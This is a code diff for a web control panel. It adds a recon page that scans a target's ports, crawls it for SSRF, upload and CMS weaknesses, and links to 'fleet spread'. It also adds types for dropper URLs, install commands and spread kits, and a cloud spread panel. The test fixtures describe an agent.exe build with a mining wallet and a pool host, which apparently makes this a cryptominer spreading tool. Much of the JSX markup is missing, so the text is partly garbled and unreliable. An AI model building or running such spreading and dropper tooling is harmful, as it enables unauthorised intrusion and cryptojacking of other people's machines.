+ )} + + )} + {agents.length > 0 && ( ({ + HelpTip: () => null, +})); + +const sampleReport: ReconScanReport = { + host: 'scan.lab', + scanned_at: '2026-06-07T12:00:00Z', + ports: [ + { port: 22, open: false }, + { port: 445, open: true }, + { port: 5985, open: true }, + ], + crawl: { + pages_fetched: 1, + ssrf_score: 45, + url_fields: [{ page_url: 'http://scan.lab/', name: 'url', hint: 'url' }], + cms_fingerprints: ['wordpress'], + }, + recommendations: [{ lane: 'winrm', reason: 'WinRM open', priority: 30 }], +}; + +function renderPage() { + return render( + + + , + ); +} + +describe('DeployReconPage', () => { + beforeEach(() => { + vi.clearAllMocks(); + vi.spyOn(api, 'listBuilds').mockResolvedValue([ + { + id: 'pin-build', + worker_name: 'worker', + server_url: 'http://localhost:8989', + wallet: '4' + 'A'.repeat(94), + threads: 4, + file_size: 1024, + file_path: 'builds/agent.exe', + file_name: 'agent.exe', + created_at: '2026-06-07T12:00:00Z', + pool_host: 'pool.example.com', + pool_port: 3333, + pool_tls: false, + pool_pass: 'x', + platform: 'windows', + download_url: '/api/v1/builds/pin-build/download', + pinned: true, + }, + ]); + vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo); + vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig()); + vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport); + vi.stubGlobal('navigator', { + clipboard: { writeText: vi.fn().mockResolvedValue(undefined) }, + }); + }); + + afterEach(() => { + vi.unstubAllGlobals(); + cleanup(); + }); + + it('renders hero and scan form', async () => { + renderPage(); + expect(await screen.findByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeInTheDocument(); + expect(screen.getByTestId('dr-host-input')).toBeInTheDocument(); + expect(screen.getByTestId('dr-scan-btn')).toBeDisabled(); + }); + + it('runs scan and shows port matrix and findings', async () => { + const user = userEvent.setup(); + renderPage(); + await user.type(screen.getByTestId('dr-host-input'), 'scan.lab'); + await user.click(screen.getByTestId('dr-scan-btn')); + + expect(await screen.findByTestId('dr-results')).toBeInTheDocument(); + await waitFor(() => expect(api.reconScan).toHaveBeenCalled()); + expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument(); + expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument(); + expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute( + 'href', + '/crucible?tab=spread&spread_host=scan.lab', + ); + }); + + it('shows skeleton while scanning', async () => { + let resolveScan!: (v: ReconScanReport) => void; + vi.spyOn(api, 'reconScan').mockImplementation( + () => new Promise((res) => { resolveScan = res; }), + ); + const user = userEvent.setup(); + renderPage(); + await user.type(screen.getByTestId('dr-host-input'), 'slow.lab'); + await user.click(screen.getByTestId('dr-scan-btn')); + expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument(); + resolveScan(sampleReport); + expect(await screen.findByTestId('dr-results')).toBeInTheDocument(); + }); +}); diff --git a/server/web/src/pages/DeployReconPage.tsx b/server/web/src/pages/DeployReconPage.tsx new file mode 100644 index 0000000..0f99b7e --- /dev/null +++ b/server/web/src/pages/DeployReconPage.tsx @@ -0,0 +1,345 @@ +import { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { Link } from 'react-router-dom'; +import { api } from '../api/client'; +import type { BuildRecord } from '../types'; +import type { ReconPortResult, ReconScanReport, ReconWebFindingCard } from '../types/recon'; +import { HelpTip } from '../components/HelpTip'; +import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader'; +import { + FLEET_SPREAD_PORTS, + RECON_PORT_HINTS, + buildReconFindingCards, + buildReconMermaid, + crucibleSpreadLink, + curlInstallLine, + reconScanBody, +} from '../help/deployRecon'; +import './DeployReconPage.css'; +import '../components/Fleet/ReconVisuals.css'; + +const SCAN_DEBOUNCE_MS = 350; + +function CopyChip({ text, label }: { text: string; label: string }) { + const [ok, setOk] = useState(false); + const copy = () => { + void navigator.clipboard?.writeText(text).then(() => { + setOk(true); + setTimeout(() => setOk(false), 1500); + }).catch(() => {}); + }; + return ( + + ); +} + +function ScanSkeleton() { + return ( +
+
+
+
+
+
+ ); +} + +const PortMatrix = memo(function PortMatrix({ + ports, + onHint, +}: { + ports: ReconPortResult[]; + onHint: (hint: string) => void; +}) { + return ( +
+

+ Port matrix +

+
+ {ports.map((p) => ( + + ))} +
+
+ ); +}); + +const FindingCard = memo(function FindingCard({ + card, + curlLine, + host, + fleetSpreadOpen, +}: { + card: ReconWebFindingCard; + curlLine: string; + host: string; + fleetSpreadOpen: boolean; +}) { + return ( +
+
+ {card.title} + {card.confidence} + {card.spread_lane ? ( + {card.spread_lane} + ) : null} +
+

{card.detail}

+ {card.mermaid ?
{card.mermaid}
: null} +
+ + {card.probe_url ? ( + + ) : null} + {fleetSpreadOpen ? ( + + Fleet spread to {host} + + ) : null} +
+
+ ); +}); + +const ResultsPanel = memo(function ResultsPanel({ + report, + cards, + mermaid, + serverBase, + pinnedBuildId, +}: { + report: ReconScanReport; + cards: ReconWebFindingCard[]; + mermaid: string; + serverBase: string; + pinnedBuildId: string; +}) { + const [portHint, setPortHint] = useState(''); + const curlLine = useMemo( + () => curlInstallLine(serverBase, pinnedBuildId), + [serverBase, pinnedBuildId], + ); + const fleetSpreadOpen = useMemo( + () => report.ports.some((p) => p.open && FLEET_SPREAD_PORTS.has(p.port)), + [report.ports], + ); + + return ( +
+ + {portHint ?

{portHint}

: null} + +
+ Web findings + {cards.length === 0 ? ( +

No upload, SSRF, or CMS hints from crawl.

+ ) : ( +
+ {cards.map((c) => ( + + ))} +
+ )} +
+ + {mermaid ? ( +
+ Deploy flow (mermaid) +
{mermaid}
+
+ ) : null} + + {(report.recommendations?.length ?? 0) > 0 ? ( +
+ Spread recommendations +
    + {report.recommendations!.map((r, i) => ( +
  • {r.reason}
  • + ))} +
+
+ ) : null} +
+ ); +}); + +export default function DeployReconPage() { + const [host, setHost] = useState(''); + const [port, setPort] = useState('80'); + const [https, setHttps] = useState(false); + const [pathPrefix, setPathPrefix] = useState(''); + const [scanning, setScanning] = useState(false); + const [error, setError] = useState(''); + const [report, setReport] = useState(null); + const [serverBase, setServerBase] = useState(''); + const [pinnedBuildId, setPinnedBuildId] = useState(''); + + const abortRef = useRef(null); + const debounceRef = useRef | null>(null); + + useEffect(() => { + void (async () => { + try { + const [builds, info, cfg] = await Promise.all([ + api.listBuilds(), + api.getServerInfo(), + api.getConfig(), + ]); + const pub = cfg.server?.public_url?.trim(); + setServerBase((pub || info.suggested_url || window.location.origin).replace(/\/$/, '')); + const pinned = builds.find((b: BuildRecord) => b.pinned); + if (pinned) setPinnedBuildId(pinned.id); + } catch { + setServerBase(window.location.origin.replace(/\/$/, '')); + } + })(); + }, []); + + const runScan = useCallback(async () => { + const trimmed = host.trim(); + if (!trimmed) { + setError('Host or IP required'); + return; + } + abortRef.current?.abort(); + const controller = new AbortController(); + abortRef.current = controller; + setScanning(true); + setError(''); + setReport(null); + const portNum = parseInt(port, 10) || 80; + try { + const body = reconScanBody(trimmed, portNum, https, pathPrefix); + const res = await api.reconScan(body, controller.signal); + if (!controller.signal.aborted) setReport(res); + } catch (e) { + if (e instanceof DOMException && e.name === 'AbortError') return; + setError(e instanceof Error ? e.message : 'Scan failed'); + } finally { + if (!controller.signal.aborted) setScanning(false); + } + }, [host, port, https, pathPrefix]); + + const scheduleScan = useCallback(() => { + if (debounceRef.current) clearTimeout(debounceRef.current); + debounceRef.current = setTimeout(() => { + void runScan(); + }, SCAN_DEBOUNCE_MS); + }, [runScan]); + + useEffect(() => () => { + abortRef.current?.abort(); + if (debounceRef.current) clearTimeout(debounceRef.current); + }, []); + + const cards = useMemo( + () => (report ? buildReconFindingCards(report, serverBase) : []), + [report, serverBase], + ); + const mermaid = useMemo( + () => (report ? buildReconMermaid(report.ports, cards) : ''), + [report, cards], + ); + + return ( +
+ + +
+
+ + setHost(e.target.value)} + placeholder="10.0.0.12 or app.lab" + data-testid="dr-host-input" + /> +
+
+ + setPort(e.target.value)} + data-testid="dr-port-input" + /> +
+
+ + setHttps(e.target.checked)} + data-testid="dr-https-toggle" + /> + + +
+
+ + setPathPrefix(e.target.value)} + placeholder="/admin" + data-testid="dr-path-input" + /> +
+ +
+ + {error ?

{error}

: null} + {scanning ? : null} + {report && !scanning ? ( + + ) : null} +
+ ); +} diff --git a/server/web/src/pages/EmberwakePage.test.tsx b/server/web/src/pages/EmberwakePage.test.tsx index c7bd1d3..1cb0c2f 100644 --- a/server/web/src/pages/EmberwakePage.test.tsx +++ b/server/web/src/pages/EmberwakePage.test.tsx @@ -99,6 +99,8 @@ describe('EmberwakePage', () => { it('collapses advanced sections by default', async () => { renderEmberwake(); await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); + expect(screen.getByText(/Cloud ecosystem/i)).toBeInTheDocument(); + expect(screen.queryByTestId('cloud-spread-panel')).not.toBeVisible(); expect(screen.getByText(/Supply-chain exports/i)).toBeInTheDocument(); const wpTab = screen.getByRole('tab', { name: /WordPress plugin/i }); expect(wpTab).not.toBeVisible(); diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index 4054354..dec31b6 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -22,6 +22,7 @@ import { usePresence } from '../context/PresenceContext'; import AlsoHere from '../components/Presence/AlsoHere'; import ComradeAvatar from '../components/Presence/ComradeAvatar'; import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard'; +import CloudSpreadPanel from '../components/Spread/CloudSpreadPanel'; import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard'; import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy'; import { HelpTip } from '../components/HelpTip'; @@ -506,6 +507,19 @@ export default function EmberwakePage() { )} +
+ + + Cloud ecosystem + + Advanced + +

+ AWS S3/CloudFront, MinIO, Cloud Map, and generic VPS spread kits — uses campaign setup above. +

+ +
+
diff --git a/server/web/src/types/recon.ts b/server/web/src/types/recon.ts index ce22c55..f03964f 100644 --- a/server/web/src/types/recon.ts +++ b/server/web/src/types/recon.ts @@ -44,3 +44,134 @@ export interface ServiceGraphResponse { subnet?: string; services: ServiceGraphNode[]; } + +/** GET /api/v1/recon/deploy-kit — lane-specific spread kit for a recon host. */ +export interface ReconDeployKitDropperURLs { + get?: string; + get_windows?: string; + get_linux?: string; + get_darwin?: string; + install_ps1?: string; + install_sh?: string; + install_command?: string; +} + +export interface ReconDeployKitSpreadZIP { + method: string; + url: string; + note?: string; +} + +export interface ReconDeployKitResponse { + ok: boolean; + host: string; + finding?: string; + join_lane?: string; + matched_service?: string; + agent_reachable?: boolean; + agent_found?: boolean; + agent_id?: string; + dropper_urls?: ReconDeployKitDropperURLs; + spread_kit_zip?: ReconDeployKitSpreadZIP; + spread_template?: { template?: string; method: string; url: string }; + deploy_plan_template?: Record; + ssm_bundle?: Record; + crucible_link?: string; + error?: string; +} + +/** POST /api/v1/fleet/spread-to-host — seed discover_and_join toward unreachable IP. */ +export interface FleetSpreadToHostRequest { + host: string; + finding?: string; + build_id?: string; + campaign?: string; + join_lane?: string; +} + +export interface FleetSpreadToHostResponse { + ok: boolean; + host: string; + join_lane?: string; + matched_service?: string; + agent_reachable?: boolean; + agent_found?: boolean; + agent_id?: string; + seed_agent_id?: string; + seed_agent_name?: string; + queued?: boolean; + dispatch_error?: string; + recommended_command?: string; + command_args?: Record; + operator_note?: string; + crucible_link?: string; +} + +/** POST /api/v1/recon/scan — owned-target browser deploy recon. */ + +export interface ReconScanRequest { + host: string; + port?: number; + scheme?: string; + paths?: string[]; +} + +export interface ReconPortResult { + port: number; + open: boolean; +} + +export interface ReconFormFinding { + page_url: string; + action?: string; + method?: string; + enctype?: string; + fields?: string[]; + has_file_input?: boolean; + multipart?: boolean; +} + +export interface ReconURLFieldFinding { + page_url: string; + name: string; + type?: string; + hint: string; +} + +export interface ReconCrawlReport { + pages_fetched: number; + pages?: { url: string; status_code: number; title?: string }[]; + file_inputs?: ReconFormFinding[]; + multipart_forms?: ReconFormFinding[]; + url_fields?: ReconURLFieldFinding[]; + ssrf_score: number; + cms_fingerprints?: string[]; +} + +export interface ReconDeployRecommendation { + lane?: string; + template?: string; + reason: string; + priority: number; +} + +export interface ReconScanReport { + host: string; + scanned_at: string; + ports: ReconPortResult[]; + crawl?: ReconCrawlReport; + recommendations?: ReconDeployRecommendation[]; +} + +export type ReconConfidence = 'high' | 'medium' | 'low'; + +export interface ReconWebFindingCard { + id: string; + kind: 'ssrf' | 'file_upload' | 'cms' | 'info'; + title: string; + detail: string; + confidence: ReconConfidence; + spread_lane?: string; + probe_url?: string; + mermaid?: string; +}